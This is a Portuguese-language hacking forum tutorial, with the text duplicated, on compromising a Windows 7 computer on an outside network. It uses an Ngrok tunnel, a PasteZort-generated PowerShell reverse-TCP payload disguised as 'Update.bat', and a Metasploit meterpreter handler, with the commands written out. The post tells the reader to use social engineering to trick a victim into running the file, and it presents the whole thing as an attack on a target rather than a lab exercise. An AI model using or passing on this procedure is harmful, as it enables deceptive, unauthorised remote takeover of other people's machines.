Olá hackers, neste tutorial venho com o intuito de demonstrar uma invasão em um sistema Windows situado em rede externa, porem sem a necessidade de abrir portas no roteador/modem.
Neste tutorial vamos usar uma aplicação de tunelamento, o Ngrok, em conjunto com uma ferramenta denominada PasteZort para gerar uma payload em powershell e por fim o metasploit para receber a conexão reversa.
Esse ataque consiste em criar um arquivo .bat com um paylaod em powershell, que ao ser executado no computador da vitima vai estabelecer uma conexão TCP reversa através do tunelamento criado pelo Ngrok, sem a necessidade de passar por regras de redirecionamento de portas em equipamentos de borda.
--- Sistemas operacionais ---
Atacante - Kali linux 2017.1 x64
Vitima - Windows 7 (Build 7601, Service Pack 1) x64
--- Escopo do ataque ---
1 - Instalação e configuração do Ngrok.
2 - Instalação e configuração do PasteZort.
3 - Configuração da payload.
4 - Invasão.
1 - INSTALAÇÃO E CONFIGURAÇÃO DO NGROK.
Ngrok é uma forma de publicar seu localhost diretamente para a internet. Esse software de linha de comando permite criar um túnel de conexão segura a partir do seu localhost e publicá-lo na internet e podendo ser usado em plataformas Windows, Linux e Mac OS.
Ao acessar a pagina web do Ngrok, sera necessário realizar um breve cadastro no serviço.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
O cadastro solicita apenas um nome de usuário e um e-mail valido.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Concluindo o cadastro, você vai ser redirecionado para a pagina que contem o seu authtoken,necessário para a configuração do Ngrok.
Por motivos de segurança não compartilhe seu authtoken com ninguém.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Apos salvar seu authtoken, efetue o download do Ngrok.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Realize o download da arquitetura compatível ao seu sistema.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Assim que o download do aquivo .zip for concluído, abra o terminal e localize o arquivo .zip do Ngrok.
Agora o arquivo .zip deve ser descompactado e a configuração do authtoken deve ser realizada agora; Para isso digite os comandos conforme a imagem abaixo.
Code: [url=#]Select all[/url]
Feito isso, sugiro que mova o executável do Ngrok para a pasta /usr/bin , essa forma é possível executar o Ngrok de qualquer diretório, e não será mais necessário colocar o ./ antes de executa-lo.
Observe que vou abrir um túnel TCP na porta 1337 do meu localhost.
Code: [url=#]Select all[/url]
Pronto, o Ngrok está perfeitamente instalado e em plena execução, nesse momento todo trafego TCP que for direcionado para o endereço 0.tcp.ngrok.io na porta 16066 vai ser diretamente enviado para a minha maquina (localhost) na porta 1337, que foi a porta que abrimos no ngrok.
O terminal em que o Ngrok está sendo executado deve ser mantido aberto para que o túnel permaneça aberto, caso esse terminal seja encerrado o tunelamento também será.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
2 - INSTALAÇÃO E CONFIGURAÇÃO DO PASTEZORT.
A instalação do Pastzort é bem simplória, basta realizar o download no repositório git e adicionar permissão de execução aos arquivos da pasta PasteZort.
Feito isso basta executar o script PasteZ0rt.py para iniciar a ferramenta e darmos inicio a configuração do payload.
Code: [url=#]Select all[/url]
3 -CONFIGURAÇÃO DO PAYLOAD.
Como podemos observar na imagem abaixo, é possível criar payloads para plataformas windows, linux e mac os.
Uma vez que nosso alvo é um sistema windows, vamos selecionar a opção 1.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Agora vamos selecionar os parametros do payload.
Selecione a payload de conexão reversa TCP, a opção 1.
Na opção LHOST, insira o hostname disponibilizado pelo ngrok, 0.tcp.ngrok.io
Na opção LPORT, insira a porta disponibilizada pelo ngrok, nesse caso a porta 16066.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Apos o payload ser gerado, esses campos pedindo a "Mensaje 1" e "Mensaje 2" vão ser exibidos, qualquer coisa pode ser inserida nesses campos.
Assim que a pergunta for exibida, responda NÃO, pois não é hora de iniciar nosso servidor handler.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Feito isso, abra seu navegador e visite o endereço [Tens de ter uma conta e sessão iniciada para poderes visualizar este link] ; Lá você vai encontrar as duas mensagens inseridas anteriormente.
O bacana é que a payload que geramos esta oculta entre as duas mensagens, basta selecionar as duas mensagens e copiar.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Para gerar o arquivo malicioso final, apenas abra um editor de texto de sua preferencia e cole o conteúdo.
Veja que o conteúdo oculto da payload ja é visível.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Agora salve o arquivo com a extensão .bat para que o payload esteja completo.
Note que salvei o arquivo com o nome de Update.bat.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
4 - INVASÃO.
Já que o arquivo malicioso está finalizado, vamos iniciar nosso servidor para recerber a conexão da vitima.
Vamos iniciar o serviços postgresql e metasploit framework, conforme demonstrado na imagem abaixo
Vamos usar o exploit/multi/handler.
A payload selecionada deve ser windows/meterpreter/reverse_tcp.
O lhost deve ser 0.0.0.0 pois esse IP se refere ao localhost propriamente dito.
E a lport deve ser a porta local aberta no ngrok, no nosso caso é a porta 1337.
Feitas essas configuraçãos, execute o exploit e aguarde.
Code: [url=#]Select all[/url]
Agora você deve usar e abusar da engenharia social para enviar e induzir sua vitima a abrir o arquivo .bat.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Uma vez que o arquivo seja executado, a sessão meterpreter ja vai esta te esperando.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Com a sessão meterpreter estabelecida é só progredir na exploração.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Qualquer duvida estou a disposição !
Obrigado.
4 x
Quem corre atrás tá ligado qual é o preço, não cresce o olho no que é dos outros !
#!/bin/bash
[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Neste tutorial vamos usar uma aplicação de tunelamento, o Ngrok, em conjunto com uma ferramenta denominada PasteZort para gerar uma payload em powershell e por fim o metasploit para receber a conexão reversa.
Esse ataque consiste em criar um arquivo .bat com um paylaod em powershell, que ao ser executado no computador da vitima vai estabelecer uma conexão TCP reversa através do tunelamento criado pelo Ngrok, sem a necessidade de passar por regras de redirecionamento de portas em equipamentos de borda.
--- Sistemas operacionais ---
Atacante - Kali linux 2017.1 x64
Vitima - Windows 7 (Build 7601, Service Pack 1) x64
--- Escopo do ataque ---
1 - Instalação e configuração do Ngrok.
2 - Instalação e configuração do PasteZort.
3 - Configuração da payload.
4 - Invasão.
1 - INSTALAÇÃO E CONFIGURAÇÃO DO NGROK.
Ngrok é uma forma de publicar seu localhost diretamente para a internet. Esse software de linha de comando permite criar um túnel de conexão segura a partir do seu localhost e publicá-lo na internet e podendo ser usado em plataformas Windows, Linux e Mac OS.
Ao acessar a pagina web do Ngrok, sera necessário realizar um breve cadastro no serviço.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
O cadastro solicita apenas um nome de usuário e um e-mail valido.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Concluindo o cadastro, você vai ser redirecionado para a pagina que contem o seu authtoken,necessário para a configuração do Ngrok.
Por motivos de segurança não compartilhe seu authtoken com ninguém.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Apos salvar seu authtoken, efetue o download do Ngrok.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Realize o download da arquitetura compatível ao seu sistema.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Assim que o download do aquivo .zip for concluído, abra o terminal e localize o arquivo .zip do Ngrok.
Agora o arquivo .zip deve ser descompactado e a configuração do authtoken deve ser realizada agora; Para isso digite os comandos conforme a imagem abaixo.
Code: [url=#]Select all[/url]
- Código:
unzip ngrok-stable-linux-amd64.zip./ngrok authtoken <sua_authtoken>
Feito isso, sugiro que mova o executável do Ngrok para a pasta /usr/bin , essa forma é possível executar o Ngrok de qualquer diretório, e não será mais necessário colocar o ./ antes de executa-lo.
Observe que vou abrir um túnel TCP na porta 1337 do meu localhost.
Code: [url=#]Select all[/url]
- Código:
mv ngrok /usr/bin/ngrok tcp 1337
Pronto, o Ngrok está perfeitamente instalado e em plena execução, nesse momento todo trafego TCP que for direcionado para o endereço 0.tcp.ngrok.io na porta 16066 vai ser diretamente enviado para a minha maquina (localhost) na porta 1337, que foi a porta que abrimos no ngrok.
O terminal em que o Ngrok está sendo executado deve ser mantido aberto para que o túnel permaneça aberto, caso esse terminal seja encerrado o tunelamento também será.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
2 - INSTALAÇÃO E CONFIGURAÇÃO DO PASTEZORT.
A instalação do Pastzort é bem simplória, basta realizar o download no repositório git e adicionar permissão de execução aos arquivos da pasta PasteZort.
Feito isso basta executar o script PasteZ0rt.py para iniciar a ferramenta e darmos inicio a configuração do payload.
Code: [url=#]Select all[/url]
- Código:
git clone https://github.com/ZettaHack/PasteZort.gitchmod +x PasteZort/* ; cd PasteZort/python PasteZ0rt.py
3 -CONFIGURAÇÃO DO PAYLOAD.
Como podemos observar na imagem abaixo, é possível criar payloads para plataformas windows, linux e mac os.
Uma vez que nosso alvo é um sistema windows, vamos selecionar a opção 1.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Agora vamos selecionar os parametros do payload.
Selecione a payload de conexão reversa TCP, a opção 1.
Na opção LHOST, insira o hostname disponibilizado pelo ngrok, 0.tcp.ngrok.io
Na opção LPORT, insira a porta disponibilizada pelo ngrok, nesse caso a porta 16066.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Apos o payload ser gerado, esses campos pedindo a "Mensaje 1" e "Mensaje 2" vão ser exibidos, qualquer coisa pode ser inserida nesses campos.
Assim que a pergunta for exibida, responda NÃO, pois não é hora de iniciar nosso servidor handler.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Feito isso, abra seu navegador e visite o endereço [Tens de ter uma conta e sessão iniciada para poderes visualizar este link] ; Lá você vai encontrar as duas mensagens inseridas anteriormente.
O bacana é que a payload que geramos esta oculta entre as duas mensagens, basta selecionar as duas mensagens e copiar.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Para gerar o arquivo malicioso final, apenas abra um editor de texto de sua preferencia e cole o conteúdo.
Veja que o conteúdo oculto da payload ja é visível.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Agora salve o arquivo com a extensão .bat para que o payload esteja completo.
Note que salvei o arquivo com o nome de Update.bat.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
4 - INVASÃO.
Já que o arquivo malicioso está finalizado, vamos iniciar nosso servidor para recerber a conexão da vitima.
Vamos iniciar o serviços postgresql e metasploit framework, conforme demonstrado na imagem abaixo
Vamos usar o exploit/multi/handler.
A payload selecionada deve ser windows/meterpreter/reverse_tcp.
O lhost deve ser 0.0.0.0 pois esse IP se refere ao localhost propriamente dito.
E a lport deve ser a porta local aberta no ngrok, no nosso caso é a porta 1337.
Feitas essas configuraçãos, execute o exploit e aguarde.
Code: [url=#]Select all[/url]
- Código:
service postgresql start ; msfconsole -quse exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 0.0.0.0set lport 1337run -j
Agora você deve usar e abusar da engenharia social para enviar e induzir sua vitima a abrir o arquivo .bat.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Uma vez que o arquivo seja executado, a sessão meterpreter ja vai esta te esperando.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Com a sessão meterpreter estabelecida é só progredir na exploração.[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Qualquer duvida estou a disposição !
Obrigado.
4 x
Quem corre atrás tá ligado qual é o preço, não cresce o olho no que é dos outros !
#!/bin/bash
[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]